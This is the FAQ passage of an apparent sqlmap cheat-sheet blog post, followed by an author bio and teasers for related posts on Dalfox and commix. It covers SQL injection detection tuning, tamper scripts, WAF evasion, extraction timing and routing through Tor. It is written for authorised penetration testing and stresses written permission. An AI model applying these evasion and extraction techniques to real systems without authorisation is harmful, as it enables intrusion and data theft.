Most common causes: default level/risk are too low for the location (header injections need level 3+), the parameter is detected as anti-CSRF or session and skipped (use -p to force it), the response differential is below sqlmap's detection threshold (set --string or --not-string explicitly), or the payload boundary is unusual (use --prefix and --suffix to match).

Yes, with --batch for non-interactive mode and --output-dir for predictable artefacts. The harder problem is making the target deterministic: spin up a known-vulnerable target (or your real staging app), run a fixed set of requests through Burp/your own proxy, save them as request files, and have sqlmap consume those. Avoid --crawl in CI; it makes the run nondeterministic.

No. The minimum useful exploitation is data extraction from whatever tables the connected user can read, which is everything in most apps. DBA escalates impact (file read/write, OS shell), but standard exploitation works on any user with SELECT access to the tables you care about. The credential dump in the walkthrough above happens with no DBA privilege.

Union-based or error-based: seconds. Boolean-blind with --threads=10: a few minutes per medium-sized table. Time-based: an hour or more for a large table because each character costs seconds of sleep. Most of the wall-clock cost in real engagements is the boolean/time-blind phase, which is why ghauri's faster binary search is often worth running as a second tool.

Yes. A tamper script is a Python file with a tamper(payload, **kwargs) function that transforms the payload string. Put it in sqlmap's tamper/ directory or pass a path with --tamper=/path/to/mine.py. The bundled scripts in the sqlmap repo are the best reference; most are under fifty lines.

Yes, and usually expected. A scope that says 'test the app' and a WAF that blocks all scanners produces a useless test if you stop at the WAF. Real attackers defeat WAFs, so a pentest that does not is incomplete. Get the question answered in the scope document: are you testing the WAF, or testing through it? Both are valid and require different setups.

No. Anonymity is unrelated to authorisation. If you do not have written permission to test the target, no proxy chain changes that. The legal exposure is identical whether the traffic comes from your home IP or a Tor exit. Anonymity matters when the threat model is the target detecting you; it does not matter when the question is whether the activity is lawful.

Most common causes: the checker URL is blocked at the network layer (some corporate networks block check.torproject.org specifically), a restrictive exit policy on your chosen relay, or a Tor configuration that does not expose a normal SOCKS port (a bridge with obfs4, for example). Test the SOCKS port directly with curl before blaming sqlmap.

For sqlmap specifically, the native --tor flag is cleaner: fewer moving parts, integrated --check-tor verification. proxychains-ng is more flexible for chaining multiple proxies or wrapping tools with no native proxy support. Use the native flag for sqlmap unless you have a specific reason to chain.

Sources

Authoritative references this article was fact-checked against.

TagssqlmapSQL InjectionCheat SheetPenetration TestingSecuritySQLiWAF BypassTamper ScriptsTorproxychains

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Systems and Network Architect · Chief Technology Officer

Systems and network architect and Chief Technology Officer with more than two decades designing, building, and running production software, cloud and network architecture, Linux systems, and the bare metal underneath them, and lately working AI into the stack. A US Army veteran who served in Operation Iraqi Freedom. What I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

Practical Dalfox v3 reference by task: targeting, parameter mining, blind XSS, evasion, pipeline integration with kxss and waybackurls, output formats.

Dalfox Cheat Sheet: Every Flag I Actually Use

A field-tested Dalfox v3 reference: target specification, detection tuning, parameter mining, blind XSS callbacks, evasion, pipeline patterns, and output shaping, plus a full walkthrough against a vulnerable lab app. Updated for the v3 Rust rewrite that consolidates everything under `dalfox scan`.

Practical commix reference by task: targeting, detection, tamper scripts, enumeration, OS shells, file read/write, evasion for command injection.

commix Cheat Sheet: Every Flag I Actually Use for OS Command Injection

A field-tested commix reference for OS command injection: targeting, request shaping, detection techniques, tamper scripts, enumeration, shell options, file operations, and evasion, plus a full walkthrough against a vulnerable lab app that ends in a shell and the argument-injection variant that slips past escapeshellcmd.

grep cheat sheet with examples: -i, -w, -v, multiple patterns, recursive search, counting and unique counts, awk columns, BRE vs ERE vs PCRE, BSD vs GNU.

grep Cheat Sheet: Examples, Regex Flags, and macOS BSD Differences

A grep reference with working examples for every everyday task: case-insensitive and whole-word search, multiple patterns, inverting, counting lines vs occurrences, unique counts, printing a column with awk, and BRE vs ERE vs PCRE, the macOS BSD differences, PowerShell equivalents, and grep vs ripgrep vs ag.